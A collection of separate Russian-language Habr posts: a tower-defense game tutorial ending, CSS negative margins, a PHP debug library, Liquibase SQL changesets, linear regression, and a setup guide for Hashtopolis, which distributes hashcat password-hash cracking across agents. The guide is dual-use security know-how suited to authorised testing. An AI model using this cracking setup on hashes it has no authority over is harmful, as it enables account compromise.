-(void)update:(ccTime)dt {
if (chosenEnemy){
//Мы заставляем ее повернуться к выбранному врагу
CGPoint normalized = ccpNormalize(ccp(chosenEnemy.mySprite.position.x-mySprite.position.x,chosenEnemy.mySprite.position.y-mySprite.position.y));
mySprite.rotation = CC_RADIANS_TO_DEGREES(atan2(normalized.y,-normalized.x))+90;
if(![theGame circle:mySprite.position withRadius:attackRange collisionWithCircle:chosenEnemy.mySprite.position collisionCircleRadius:1])
{
[self lostSightOfEnemy];
}
} else {
for(Enemy * enemy in theGame.enemies)
{
if([theGame circle:mySprite.position withRadius:attackRange collisionWithCircle:enemy.mySprite.position collisionCircleRadius:1])
{
[self chosenEnemyForAttack:enemy];
break;
}
}
}
}
```
Кода много- это так. Плюс, вы наверно заметили увеличивающиеся количество предупреждений от компилятора по мере добавления кода. Во-первых, разберемся с предупреждениями, добавив несколько недостающих бит.
Откройте **Enemy.h** и внесите следующие изменения:
**Код**
```
//добавьте переменную
NSMutableArray *attackedBy;
// добавьте описание методов
-(void)getAttacked:(Tower *)attacker;
-(void)gotLostSight:(Tower *)attacker;
-(void)getDamaged:(int)damage;
```
Теперь в **Enemy.m**:
**Код**
```
//Добавьте следующее в начало метода initWithTheGame: (внутри условия "if")
attackedBy = [[NSMutableArray alloc] initWithCapacity:5];
// Замените содержимое getRemoved:
-(void)getRemoved
{
for(Tower * attacker in attackedBy)
{
[attacker targetKilled];
}
[self.parent removeChild:self cleanup:YES];
[theGame.enemies removeObject:self];
//Сообщите игре, что мы убили врага и можно проверить, нужно ли выслать новую волну
[theGame enemyGotKilled];
}
// Добавьте следующие методы в конец файла
-(void)getAttacked:(Tower *)attacker
{
[attackedBy addObject:attacker];
}
-(void)gotLostSight:(Tower *)attacker
{
[attackedBy removeObject:attacker];
}
-(void)getDamaged:(int)damage
{
currentHp -=damage;
if(currentHp <=0)
{
[self getRemoved];
}
}
```
Самая важная часть в коде- метод update в классе Tower. Башня постоянно будет проверять на наличие врага внутри радиуса атаки. Если таковой имеется, башня поворачивается к нему и начинает стрелять.
Как только враг помечен, как цель, метод задает расписание стрельбы башни согласно ее скорострельности. Каждый враг содержит список башен, стреляющих по нему, если враг умрет, они все будут оповещены об этом факте и перестанут стрелять.
Скомпилируйте и запустите ваше приложение. Расставьте несколько башен на карте. Вы увидите, как башни начнут стрелять во врагов, проходящих внутри их радиуса, как меняются полоски их здоровья до тех пор, пока они не умирают.
Осталось добавить всего несколько деталей, чтобы получить готовую версию tower defense. Неплохо бы добавить звуковые эффекты, научить базу получать урон от врагов и ограничить количество золота игрока.
##### Финальные штрихи
Начнем с отображения количества жизней, оставшихся у игрока, и тем, что будет, когда они закончатся!
Откройте **HelloWorldLayer.h** и добавьте следующие переменные:
**Код**
```
int playerHp;
CCLabelBMFont *ui_hp_lbl;
BOOL gameEnded;
```
playerHp показывает сколько жизней у игрока, а CCLabelBMFont это надпись, которая демонстрирует это количество. gameEnded задается, когда игра закончена! Также добавьте следующие описания методов:
```
-(void)getHpDamage;
-(void)doGameOver;
```
Теперь откройте **HelloWorldLayer.m** и внесите следующие изменения:
```
// В конце метода init:
// 7 - жизни игрока
playerHp = 5;
ui_hp_lbl = [CCLabelBMFont labelWithString:[NSString stringWithFormat:@"HP: %d",playerHp] fntFile:@"font_red_14.fnt"];
[self addChild:ui_hp_lbl z:10];
[ui_hp_lbl setPosition:ccp(35,wins.height-12)];
// Добавьте следующие методы в конец файла:
-(void)getHpDamage {
playerHp--;
[ui_hp_lbl setString:[NSString stringWithFormat:@"HP: %d",playerHp]];
if (playerHp <=0) {
[self doGameOver];
}
}
-(void)doGameOver {
if (!gameEnded) {
gameEnded = YES;
[[CCDirector sharedDirector] replaceScene:[CCTransitionRotoZoom transitionWithDuration:1 scene:[HelloWorldLayer scene]]];
}
}
```
Это добавляет метод, который уменьшает количество жизней игрока, обновляет надпись и проверяет, закончились ли жизни у игрока. Если да, игре конец!
Метод getHpDamage вызывается, когда враг достигает базы. Вы ранее уже добавили его в **update** метод в **Enemy.m**.
Скомпилируйте и запустите игру. Позвольте врагам дойти до вашей базы. Вы должны увидеть, как количество ваших жизней уменьшается, пока игра не оканчивается.
Пришло время урезать бюджет!
Множество игр внедряют опцию “zero-sum”, предоставляя игроку ограниченное количество ресурсов на постройку в начале игры. Ваша игра будет иметь нечто похожее, но в упрощенном виде.
Откройте **HelloWorldLayer.h** и добавьте следующие переменные:
```
int playerGold;
CCLabelBMFont *ui_gold_lbl;
```
Также как с жизнями, была добавлена переменная количества золота(playerGold) и надпись для его отображения(ui\_gold\_lbl). Также добавьте описание нового метода:
```
-(void)awardGold:(int)gold;
```
Теперь откройте **HelloWorldLayer.m** и сделайте следующее:
**Код**
```
//Добавьте метод перед init:
-(void)awardGold:(int)gold {
playerGold += gold;
[ui_gold_lbl setString:[NSString stringWithFormat:@"GOLD: %d",playerGold]];
}
// В конце init:
// 8 - Золото
playerGold = 1000;
ui_gold_lbl = [CCLabelBMFont labelWithString:[NSString stringWithFormat:@"GOLD: %d",playerGold] fntFile:@"font_red_14.fnt"];
[self addChild:ui_gold_lbl z:10];
[ui_gold_lbl setPosition:ccp(135,wins.height-12)];
[ui_gold_lbl setAnchorPoint:ccp(0,0.5)];
//Замените метод canBuyTower:
-(BOOL)canBuyTower {
if (playerGold - kTOWER_COST >=0)
return YES;
return NO;
}
// Внутри ccTouchesBegan, добавьте следующие строки внутрь условия "if", там где вы писали, что золото будет потрачено позже:
playerGold -= kTOWER_COST;
[ui_gold_lbl setString:[NSString stringWithFormat:@"GOLD: %d",playerGold]];
```
Новый код вверху проверяет, хватает ли золота каждый раз, как игрок строит башню. Если хватает, башня строится, цена башни вычитается из количества золота игрока. Нужно также награждать игрока за убийство врагов.
Добавьте следующую строчку в метод **getDamaged:**(внутри условия “if”) в **Enemy.m**:
```
[theGame awardGold:200];
```
Запустите игру и вы увидите, что вы можете строить ровно столько башен, сколько позволяет запас золота. За убийство врагов золото добавляется. Восхитительная система, неправда ли?
Наконец добавим немного музыки!
Откройте **HelloWorldLayer.m**:
**Код**
```
//В верхушке файла:
#import "SimpleAudioEngine.h"
//В начале метода init: (внутри условия 'if')
[[SimpleAudioEngine sharedEngine] playBackgroundMusic:@"8bitDungeonLevel.mp3" loop:YES];
//Внутри метода ccTouchesBegan, перед созданием нового объекта Tower:
[[SimpleAudioEngine sharedEngine] playEffect:@"tower_place.wav"];
//В начале getHpDamage
[[SimpleAudioEngine sharedEngine] playEffect:@"life_lose.wav"];
```
Теперь в **Enemy.m**:
**Код**
```
//Вверху файла:
#import "SimpleAudioEngine.h"
//В начале метода getDamaged:
[[SimpleAudioEngine sharedEngine] playEffect:@"laser_shoot.wav"];
```
Все! Вы закончили! Запустите игру, как вам ретро звуки?!
Сэмпл проект со всем что мы сделали выше: [TowerDefenseFinished.zip](http://cdn4.raywenderlich.com/downloads/TowerDefenseFinished.zip) | https://habr.com/ru/post/162733/ | null | ru | null |
# Отрицательные отступы — путь к универсальности
Я часто сталкиваюсь с ситуацией, когда в череде блоков с одинаковыми отступами и общим контейнером, у первого или последнего блока нет отступа или он отличается от остальных. Какое–то время для решения этой «проблемы» я использовал «костыли», вроде классов first или last, пока не освоил технику работы с отрицательными отступами.
Использование отрицательных отступов открывает широкие возможности и позволяет сделать верстку более универсальной. Для того чтобы во всем разобраться, давайте создадим небольшой контейнер заполненный блоками, что–то вроде галлерии.
Для примера я постарался подобрать наиболее сложную ситуацию. В данном случае нам надо нейтрализовать не только отступ сверху у первого ряда, но и отступ слева у первой колонки, при этом уместив блоки в контейнере div аккуратно в три колонки.
##### HTML:
1.
2.
3. `- Блок 1`
4. `- Блок 2`
5. `- Блок 3`
6. `- Блок 4`
7. `- Блок 5`
8. `- Блок 6`
9. `- Блок 7`
10. `- Блок 8`
11.
12.
##### CSS:
1. `div {`
2. `border: 2px solid #CCC;`
3. `overflow: hidden;`
4. `width: 640px;`
5. `}`
6. `ul {`
7. `margin: -20px 0 0 -20px;`
8. `overflow: hidden;`
9. `padding: 0;`
10. `}`
11. `ul li {`
12. `background: #C06;`
13. `float: left;`
14. `height: 100px;`
15. `list-style: none;`
16. `margin: 20px 0 0 20px;`
17. `width: 200px;`
18. `}`
19. `*html ul {`
20. `width: 660px;`
21. `}`
22. `*html ul li {`
23. `display: inline;`
24. `}`
Задача решена и теперь давайте заострим внимание на основных моментах. Центральный момент — это отрицательные значения свойства margin для тега ul, и свойство overflow со значением hidden для тега div. С их помощью мы сдвигаем блок ul относительно блока div за пределы его границы на 20px вверх и влево, а при помощи overflow отсекаем ненужные нам отступы. В этих двух свойствах и заключается суть метода.
Но как всегда есть одно «но» или даже три, это свойство overflow для тега ul и два отдельных свойства для браузера IE 6.0. Первое свойство применяется для нейтрализации действия свойства float на родительский блок. А для IE 6.0 я отдельно использовал свойство width для блока ul, так как IE не может посчитать её сам относительно дочерних блоков, и свойство display, чтобы устранить удвоение отступов, когда к блоку применяется свойство float.
Представленный пример был протестирован в браузерах: IE 6.0+, Firefox 2.0, Opera 9.0, Safari 2.0+. Еще раз хочу сказать, что эта техника универсальна и может применяться повсеместно, где это необходимо, в различных вариациях. Экспериментируйте и делитесь опытом :)
[Пример](http://www.xhtmlmaker.ru/examples/0001.htm) | https://habr.com/ru/post/23748/ | null | ru | null |
# Krumo — помощник для отладки php кода
Довольно часто для отладки кода приходится просматривать содержимое переменных, как правило для этого используется такие команды как echo, print\_r(), var\_dump(). Но тут много неудобств, бывает что переменных много, бывает что вобще не знаем какие переменные используются (например при разборе чужого кода).
Перечеслять неудобства можно долго, тут каждый выкручивается по своему, кто-то пишет свои функции, кто-то еще что-то выдумывает. Совсем недавно столкнувшись в очередной раз с такой проблемой нашел на меня псих, результат день в гугле, а итог вот этот простой класс [Krumo](http://kaloyan.info/krumo/#top)
Библиотека достаточно интеллектуальна, чтобы понять какой тип переменой вы передали (String, Array, Object, Clasи т.д.) и сама проводит соответствующие преобразование в нужный html код для выдачи в отформатированном виде в ваш браузер.
Как работает:
Скачиваем: [на официальном сайте](http://sourceforge.net/project/showfiles.php?group_id=194198)
Подключаем:
`include "class.krumo.php";`
Используем:
`krumo($var);`
Дополнительные возможности:
`// показ debug backgrace
krumo::backtrace();
// показ всех подключенных классов
krumo::includes();
// показ всех функций
krumo::functions();
// показ всех декларированных классов
krumo::classes();
// показ всех объявленных констант
krumo::defines();
// запретить вывод отладочных сообщений всего что ниже
krumo::disable();
// Этот вывод показан не будет
krumo::includes();
// Разрешить отладочный вывод
krumo::enable();
// Этот вывод будет показан
krumo::classes();`
Конечно это не панацея, но помогает отлично, особенно разбираться в чужих кодах. | https://habr.com/ru/post/47698/ | null | ru | null |
# Liquibase и changeset’ы на чистом SQL
Не все знают, но начиная с версии 2.0 Liquibase поддерживает возможность использования файлов с «чистым SQL» в качестве файлов changeset’ов. Под катом хочу немного описать, из чего они состоят.
Для определения метаданных в файлах SQL используются комментарии, каждый файл changeset’ов начинается с комментария:
```
--liquibase formatted sql
```
Каждый changeset в файле начинается с комментария, в котором указываются все необходимые параметры в следующем виде:
```
--changeset author:id attribute1:value1 attribute2:value2 [...]
```
Для changeset’а можно задать следующие атрибуты:
| Атрибут | Описание |
| --- | --- |
| stripComments | Если установлено значение true, то перед выполнением SQL операторов удаляются все комментарии. Значение по умолчанию true. |
| splitStatements | Если установлено значение false, то Liquibase не будет разделять SQL выражения на символе «;», используется для описания подпрограмм. |
| endDelimiter | Задает разделитель SQL операторов, по умолчанию «;». |
| runAlways | Если установлено значение true, то список изменений будет выполнятся во время каждой сборки проекта. |
| runOnChange | Если установлено значение true, то при внесении правок changeset, он будет выполнен при следующей сборке проекта. |
| context | Создание метки для changeset’а, которые в последствии можно выполнить по запросу. |
| runInTransaction | Если установлено значение true, то все операторы SQL будут выполняться в рамках одной транзакции, если это возможно. По умолчанию значение true. |
| failOnError | True – весь changeset будет отменен при возникновении ошибок во время выполнения. |
| dbms | Указание типа СУБД, для которой написан changeset. |
После задания параметров указываются предусловия (опционально). Далее идет набор SQL операторов, разделенных точкой с запятой или символом, указанным в атрибуте «endDelimiter».
В настоящий момент в changeset’ах на чистом SQL поддерживается лишь один вид предусловия: SQL Check. Пример предусловия:
```
--precondition-sql-check expectedResult:0 SELECT COUNT(*) FROM my_table
```
В параметр expectedResult передается значение, которое возвращает SQL запрос. Запрос обязательно должен возвращать единственное значение.
Для задания поведения обработки проверки предусловия используется синтаксис аналогичный заданию параметров changeset’а:
```
--preconditions attribute1:value1 attribute2:value2 [...]
```
Атрибуты могут быть следующие:
| Атрибут | Описание |
| --- | --- |
| onFail | Действия в случае, когда changeset не может быть выполнен. |
| onError | Действия в случае, когда changeset возвращают ошибку. |
| onUpdateSQL | Действия, которые будут выполнены над changeset’ом, в случае выполнения его в режиме updateSQL. |
| onFailMessage | Сообщение, которое будет возвращено если changeset не может быть выполнен. |
| onErrorMessage | Сообщение, которое будет возвращено если changeset выполняется с ошибкой. |
В атрибуты onFail и onError могут быть переданы следующие значения:
| Значение | Описание |
| --- | --- |
| HALT | Немедленно прекратить выполнение changeset’а. |
| CONTINUE | Содержимое changeset’а будет пропущено и будет предпринята попытка по повторному его выполнению в следующий раз. |
| MARK\_RAN | Changeset будет помечен как выполненный. |
| WARN | Будет сгенерировано предупреждение и changeset продолжит выполнятся в нормальном режиме. |
Changeset’ы могут включать SQL выражения для отката. Выражения отката описываются в форме комментария:
```
--rollback SQL STATEMENT
```
Ну и в завершение небольшой примерчик файла changeset’ов:
```
--liquibase formatted sql
--changeset User1:1
create table test1 (
id int primary key,
name varchar(255)
);
--rollback drop table test1;
--changeset User2:1
--preconditions onFail:CONTINUE onError:CONTINUE
--precondition-sql-check expectedResult:0 SELECT COUNT(*) FROM test1
insert into test1 (id, name) values (1, 'User1');
--rollback delete from test1 where id = 1;
```
Подытожив все вышесказанное, хочется добавить, что такие файлы читаются и пишутся гораздо проще, чем xml'ки, но не все плюшки еще поддерживаются (пример по предусловиям, поддерживается сейчас только SQL Check). | https://habr.com/ru/post/251617/ | null | ru | null |
# Линейная регрессия и градиентный спуск
Пусть в некоторой предметной области исследуются показатели X и Y, которые имеют количественное выражение.
При этом есть все основания полагать, что показатель Y зависит от показателя X. Это положение может быть как научной гипотезой, так и основываться на элементарном здравом смысле. К примеру, возьмем продовольственные магазины.
Обозначим через:
X — торговую площадь(кв. м.)
Y — годовой товарооборот(млн. р.)
Очевидно, что чем выше торговая площадь, тем выше годовой товарооборот(предполагаем линейную зависимость).
Представим, что у нас есть данные о некоторых n магазинах(торговая площадь и годовой товарооборот) — наш датасет и k торговых площадей(X), для которых мы хотим предсказать годовой товарооборот(Y) — наша задача.
Выдвинем гипотезу, что наше значение Y зависит от X в виде: Y = a + b \* X
Чтобы решить нашу задачу, мы должны подобрать коэффициенты a и b.
Для начала зададим a и b случайные значения. После этого нам нужно определиться с функцией потерь и оптимизационным алгоритмом.
Для этого мы можем воспользоваться среднеквадратичной функцией потерь([MSELoss](https://pytorch.org/docs/stable/nn.html#mseloss)). Вычисляется по формуле:
Где y[i] = a + b \* x[i] после a = rand() и b = rand(), а Y[i] – правильное значение для x[i].
На данном этапе мы имеем среднеквадратичное отклонение(некую функцию от a и b). И очевидно, что, чем меньше значение этой функции, тем более точно подобраны параметры a и b относительно тех параметров, которые описывают точную зависимость между площадью торгового помещения и товарооборотом в этом помещении.
Теперь мы можем приступить к использованию градиентного спуска(как раз для минимизации функции потерь).
### Градиентный спуск
Суть его очень проста. Например, мы имеем функцию:
```
y = x*x + 4 * x + 3
```
Берем произвольное значение x из области определения функции. Представим, что это точка x1 = -4.
Далее мы берем производную по x от этой функции в точке x1(если функция зависит от нескольких переменных(например, от a и b), то нужно брать частные производные по каждой из переменных). y’(x1) = -4 < 0
Теперь получаем новое значение для x: x2 = x1 – lr \* y’(x1). Параметр lr(learning rate) позволяет устанавливать размер шага. Таким образом получаем:
Если частная производная в заданной точке x1 < 0 (функция убывает), то мы движемся к точке локального минимума. (x2 будет больше, чем x1)
Если частная производная в заданной точке x1 > 0 (функция возрастает), то мы все по-прежнему движемся к точке локального минимума. (x2 будет меньше, чем x1)
Выполняя этот алгоритм итерационно, мы приблизимся к минимуму(но не достигнем его).
На практике это все выглядит куда более просто(однако я не берусь утверждать, какие коэффициенты a и b подойдут максимально точно к вышеописанному случаю с магазинами, поэтому возьмем зависимость вида y = 1 + 2 \* x для генерации датасета, а потом обучим нашу модель на этом датасете):
(Код написан [здесь](https://colab.research.google.com/notebooks/intro.ipynb))
```
import numpy as np
# инициализация повторяемой последовательности случайных чисел
np.random.seed(42)
# создаём np-массив из 1000 случайных чисел в диапазоне 0..1
sz = 1000
x = np.random.rand(sz, 1)
# строим функцию y = f(x) и добавляем немного гауссова шума
y = 1 + 2 * x + 0.1 * np.random.randn(sz, 1)
# формируем индексы от 0 до 999
idx = np.arange(sz)
# случайно их тасуем
np.random.shuffle(idx)
train_idx = idx
# формируем наборы обучающих данных
x_train, y_train = x[train_idx], y[train_idx]
# задаём начальные случайные значения коэффициентам линейной регрессии
a = np.random.randn(1)
b = np.random.randn(1)
print(a,b)
# скорость обучения
lr = 0.01
# количество эпох
n_epochs = 10000
# основной цикл
for epoch in range(n_epochs):
# рассчитываем результирующий массив с текущими коэффициентами a и b
# на основе обучающей выборки
yhat = a + b * x_train
# 1. определяем лосс
# считаем отклонение нового результата от обучающего:
error = (y_train - yhat)
# 2. считаем градиенты (вспоминая формулу производной)
# для коэффициента a
a_grad = -2 * error.mean()
# для коэффициента b
b_grad = -2 * (x_train * error).mean()
# 3. обновляем параметры, используя коэффициент скорости обучения
a = a - lr * a_grad
b = b - lr * b_grad
print(a,b)
```
Скомпилировав код, можно заметить, что начальные значения a и b были далеки от требуемых 1 и 2 соответсвенно, а итоговые значения весьма близки.
Немного проясню моменты того, почему у нас a\_grad и b\_grad считаются именно так.
`F(a, b) = (y_train - yhat) ^ 2 = (1 + 2 * x_train – a + b * x_train)`. Частная производная F по a будет равняться `-2 * (1 + 2 * x_train – a + b * x_train) = -2 * error`. Частная производная F по b будет равняться `-2 * x_train * (1 + 2 * x_train – a + b * x_train) = -2 * x_train * error`. Мы берем среднее значение `(mean())` в виду того, что `error` и `x_train`, и `y_train` – это массивы значений, a и b – это скаляры.
Материалы, используемые в статье:
[towardsdatascience.com/understanding-pytorch-with-an-example-a-step-by-step-tutorial-81fc5f8c4e8e](https://towardsdatascience.com/understanding-pytorch-with-an-example-a-step-by-step-tutorial-81fc5f8c4e8e)
[www.mathprofi.ru/metod\_naimenshih\_kvadratov.html](http://www.mathprofi.ru/metod_naimenshih_kvadratov.html) | https://habr.com/ru/post/471458/ | null | ru | null |
# Кот под колпаком. Часть 2
Всем привет! В [прошлой части](https://habr.com/ru/post/445740/) мы рассказали про существующие решения для «оркестрации» параллельных задач «взлома хешей» на hashcat.
В этой части продолжаем рассказывать о проекте Hashtopolis. Рассмотрим подготовку компонентов веб-окружения на сервере. Разберем основные параметры сервера и агента Hashtopolis.
Установка и конфигурация Hashtopolis
------------------------------------
Для своей работы сервер Hashtopolis хочет от вас следующие компоненты:
* Apache2/nginx
* 64-bit PHP 7.0+ и модули: php-gd modules, pear, php-curl
* MySQL 5.x + УЗ с полным доступом к базе приложения
В Hashtopolis есть поддержка nginx, для работы с которым нужно настроить блокировку доступа ко всем подкаталогам "/hashtopolis", содержащим файл .htaccess. В данной статье мы рассматриваем установку Hashtopolis с веб-сервером Apache2 (потому LAMP).
Для знакомства с проектом можно использовать и [XAMPP](https://www.apachefriends.org/index.html), на версии 5.6.40 у нас всё «взлетело» без проблем. Материал из данной статьи пригоден в настройке Hashtopolis на XAMPP.
Под спойлером немного про Docker-образ Hashtopolis:
**Установка Hashtopolis в docker**В Docker Hub были найдены несколько образов «hashtopolis server», однако, только один вызвал хоть какое-то доверие: [hub.docker.com/r/kpeiruza/hashtopolis](https://hub.docker.com/r/kpeiruza/hashtopolis)
Автор не поленился и добавил описание по «установке» hashtopolis в Docker'е. Настройка реквизитов и контейнера описаны подробно. Важное замечание — при настройке port-mapping'а (пример 'docker run… -p 80:80') учитывайте особенности вашей ОС и необходимость доступа к веб-серверу на хостах-агентах Hashtopolis.
Процесс настройки самого веб-приложения описан далее в нашей статье.
Установка в среде [LAMP](https://ru.wikipedia.org/wiki/LAMP)
------------------------------------------------------------
Версия проекта которую мы использовали: Hashtopolis 0.10.1
Для работы сервера Hashtopolis нам вполне хватило хоста со следующей конфигурацией:
* 1 CPU
* 1GB RAM
* 25 GB диска
**Рекомендуем** установить phpMyAdmin, Adminer или иной аналог для работы с СУБД. Таким образом в случае проблем с функционалом Hashtopolis траблшутинг можно будет выполнить не покидая браузер.
В процессе установки софта на нашем LAMP сервере мы использовали инструкцию из Wiki проекта Hashtopolis (https://github.com/s3inlc/hashtopolis/wiki/Server-Prerequisites):
1. sudo apt update && sudo apt upgrade
2. sudo apt install mysql-server
3. sudo apt install apache2
4. sudo apt install libapache2-mod-php php-mysql php php-gd php-pear php-curl
5. sudo apt install git
6. sudo apt install phpmyadmin
Если не был запущен интерактивный мастер конфигурации во время установки пакетов mysql — нужно выполнить следующую команду: mysql\_secure\_installation.
Таким образом с помощью «интерактивного мастера» будет установлен пароль для доступа к СУБД.
Потом необходимо создать в MySQL пользователя и базу данных к которой у этого пользователя будет доступ на чтение/запись.
#### Переходим к установке сервера Hashtopolis.
Склонировать исходный код Hashtopolis можно с git-репозитория проекта Мы действовали согласно инструкции и склонировали репо, а из каталога «hashtopolis» перенесли «src» рекурсивно в «www»:
1. git clone [github.com/s3inlc/hashtopolis.git](https://github.com/s3inlc/hashtopolis.git)
2. cd hashtopolis/src
3. sudo mkdir /var/www/hashtopolis
4. sudo cp -r \* /var/www/hashtopolis
5. sudo chown -R www-data:www-data /var/www/hashtopolis
Устанавливаем директиву «KeepAliveTimeout» в 10 миллисекунд, как рекомендуют разработчики. Обоснование:
> In order to leverage the usage of TCP sessions in the python client, the timeout of the server needs to be set to something higher than your status update time
Наш вольный перевод: «С целью применения TCP-сессий в клиенте реализованном на Python, таймаут сессии в конфигурации веб-сервера должен быть установлен выше значения „status update“ агента»
Открываем любым (любимым) редактором файл конфигурации Apache2 (в нашей системе путь к файлу "/etc/apache2/apache2.conf") и меняем значение директивы «KeepAliveTimeout» с 5 на 10.
При необходимости добавляем в конфигурацию веб-сервера alias на папку с Hashtopolis (если директория была создана в отличном от "/var/www/html" каталоге). Также добавляем директиву «AllowOverride All», чтобы разрешить применение файлов .htaccess в дочерних каталогах.
Еще мы на всякий случай добавили директивы «ServerSignature Off» и «ServerTokens Prod» в файл конфигурации "/etc/apache2/apache2.conf" с последующим перезапуском сервиса apache2, а также указали разрешенные IP-адреса на доступ к «phpMyAdmin» директивой «Allow from 1.2.3.4/28» в конфиге "/etc/apache2/conf-enabled/phpmyadmin.conf". Разрешать доступ с любого адреса к Hashtopolis или ограничиться locahost/PrivateIP-space — зависит от конкретного сетапа. В нашем случае доступ разрешен с любого IP, как вам лучше так и решайте этот момент.
Будет неплохой идеей ограничить доступ к директории hashtopolis. Мы пошли простым и быстрым путём — для доступа к каталогу "/hashtopolis" веб-клиент должен пройти Basiс-Authentication.
Устанавливаем пакет apache-utils (если не сделали раньше). Из утилит на данном этапе потребуется «htpasswd». Создаем файл и логин пользователя:
```
sudo htpasswd -c /etc/apache2/.htpasswd kraud
```
После ввода пароля юзер будет добавлен в файл .htpasswd, проверить можно командой «cat /etc/apache2/.htpasswd». Добавление пользователей осуществляется аналогичной командой без ключа "-с".
Далее настраиваем доступ к каталогу веб-приложения добавлением директив в конфиг «apache2/sites-available/000-default.conf». В итоге получился вот такой конфиг «каталога»:
```
Alias /hashtopolis "/var/www/hashtopolis"
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Order allow,deny
Allow from all
AllowOverride All
Require valid-user
```
Обратите внимание, что при использовании «Basiс-Auth» необходимо дополнительно добавить параметры в конфигурацию Hashtopolis agent'а (файл "\hashtopolis\_agent\_dir\config.json"):
```
{
"url": "http://1.2.3.4/hashtopolis/api/server.php",
"voucher": "",
"token": "token",
"uuid": "d54de86f-3942-4127-af63-f257c45b66cd",
"debug": false,
"auth-user": "kraud",
"auth-password": "password"
}
```
Об агенте Hashtopolis чуть позже.
Необходимо также создать новую базу данных для приложения Hashtopolis и пользователя MySQL с доступом к этой базе. Тут кому что больше по душе — в PMA или в консоли выполнить создание базы — это не должно составить труда. Сохраняем в заметки имя базы и учетные данные — они понадобятся далее.
В результате пройденных этапов должна загрузиться страница установки веб-приложения Hashtopolis по следующему URL: http:///hashtopolis:
Если этого не произошло, вероятно проблема в разрешениях на каталог "/var/www/hashtopolis", либо в конфигурации веб-сервера (например ошибка в «Alias»). Стоит проверить URL http:///hashtopolis/src/index.php или http:///hashtopolis/src/install/index.php
Затем, будет загружена форма «DB Connection» на которой нужно будет заполнить параметры подключения к СУБД, имя базы (например 'hashtopolis') и учетные данные пользователя для доступа к ней. Если подключение будет корректно установлено откроется следующая форма с единственной кнопкой «Continue» — нажимаем её. Если всё ОК — откроется следующая форма «Create Admin User» — здесь мы указываем учетные данный администратора веб-приложения Hashtopolis:
После нажатия кнопки «Create» если форма была обработана корректно отобразится документ с подтверждением успешной установки и рекомендациями:
* Убедиться в корректности разрешений на каталог "./install" либо удалить данный каталог
* Проверить содержимое файла "./install/.htaccess" (должно быть «Order deny,allow\nDeny from all»)
* При запросе направленном в "./install" должен вернуться статус-код 403
После всех проделанных этапов по URL «http:///hashtopolis/» должна загружаться форма аутентификации Hashtopolis:
Далее (по желанию) настройте использование HTTPS, подключение сертификата безопасности — этот этап мы опустим. Переходим к настройке агента Hashtopolis.
### Установка агента
Непосредственно задачей «взлома хешей» занимаются агенты — на хостах-агентах запускаются экземпляры 'hashcat' или иного крэкера. Диалог между сервером Hashtopolis и агентами происходит по HTTP/HTTPs.
Агент может быть установлен на системах с ОС Windows/Linux/MacOS X. В текущей версии Hashtopolis поддерживается только агент на Python.
*.Net версия агента Hashtopolis более не поддерживается*
У нас уже был хост на Windows 10, который мы использовали для «взлома хешей» с помощью 'hashcat'. Поэтому решили ничего не менять, а взять готовую рабочую систему для подключения к Hashtopolis.
В Windows системе необходимо предварительно установить интерпретатор Python 3. Не забудьте при установке поставить птичку «Add Python 3.х to PATH» (пример ниже):
Затем, нужно скачать архив hastopolis.zip с сервера Hashtopolis, либо иным способом доставить архивный файл на агентский хост.
Для загрузки файлов агента с сервера нужно из выпадающего меню «Agents» кликнуть на «New Agent». Далее попадаем в раздел «Add new agent» где и будет содержаться кнопка загрузки — «Download».
Также, в разделе «Add new agent» будет указан URL для подключения агента и кнопка создания ваучера (нужно нажать «Create»).
В нашем случае архив был сохранен в каталоге «C:\hashtopolis», который далее будет рабочим каталогом агента.
Для удобства работы с агентом (просмотр журнала, copy/paste и т.д.) мы используем сеанс PowerShell. Запуск агента производится командой:
```
> python.exe .\hashtopolis.zip
```
Запуск агента в режиме отладки выполняется с помощью опции "-d".
```
> python3.exe .\hashtopolis.zip -d
```
Отключить отладку можно правкой конфига «config.json» строкой «debug»: false". ~~Удобно~~
Вызвать справку по дополнительным аргументам командного запуска агента можно с помощью опции "-h":
**Hashtopolis agent commands**> python.exe .\hashtopolis.zip -h
usage: python3 hashtopolis.zip [-h] [--de-register] [--version]
[--number-only] [--disable-update] [--debug]
[--voucher VOUCHER] [--url URL]
Hashtopolis Client v0.4.0
optional arguments:
-h, --help show this help message and exit
--de-register client should automatically de-register from server now
--version show version information
--number-only when using --version show only the number
--disable-update disable retrieving auto-updates of the client from the
server
--debug, -d enforce debugging output
--voucher VOUCHER voucher to use to automatically register
--url URL URL to Hashtopolis client API
После инициализации агент спросит URL сервера Hashtopolis (скопировать можно из раздела «Add new agent»): «Please enter the url to the API of your Hashtopolis installation:»
**Примечание:** скрипт агента должен всё время работать в фоне. Существует компонент hashtopolis-runner который запускает агента при получении multicast-сообщений от сервера. Работает runner только на linux хостах. Подробнее тут: [github.com/s3inlc/hashtopolis-runner](https://github.com/s3inlc/hashtopolis-runner)
Если URL указан корректно и агенту удалось подключиться, далее будет получено сообщение с запросом ваучера: «No token found! Please enter a voucher to register your agent:»
Агент выдаст подтверждение, в случае корректности кода ваучера и перейдёт в режим ожидания заданий:
```
Successfully registered!
Collecting agent data...
Login successful!
Hashtopolis Server version: 0.10.1 ()
Client is up-to-date!
No task available!
```
В разделе «Agents» в таблице добавится новый агент, с информацией о системе: Имя хоста, GPU/CPU и другими сведениями:
В каталоге «C:\hashtopolis» будет создан файл «config.json» с конфигурацией агента, и файл журнала «client.log». Дополнительные параметры (например HTTP proxy) можно добавить вручную, согласуясь с инструкцией: [github.com/s3inlc/hashtopolis-agent-python](https://github.com/s3inlc/hashtopolis-agent-python)
Найти сведения о ротации логов или максимальном размере журнала не удалось, судя по исходникам агента весь stdout из терминала пишется еще и в файл, никаких ограничений или проверок не обнаружено.
Рекомендуем сразу же перейти в настройки агента в веб-интерфейсе Hashtopolis — для это достаточно кликнуть на имя хоста (на скриншоте выше это «DENIGMA»). Лучше установить птичку «Trust agent with secret data», а также указать владельца («Owner»):
### Настройка cracker binaries
В разделе «Crackers/Cracker Biniaries» представлены параметры исполняемых файлов «взломщика», по умолчанию раздел содержит «hashcat 5.1.0». Если необходимо для каких-либо специфичных задач использовать другую версию hashcat нажимаем «Add Version/Binary» (список релизов: [github.com/hashcat/hashcat/releases](https://github.com/hashcat/hashcat/releases)). В форме заполняем все поля и жмём «Create binary»:
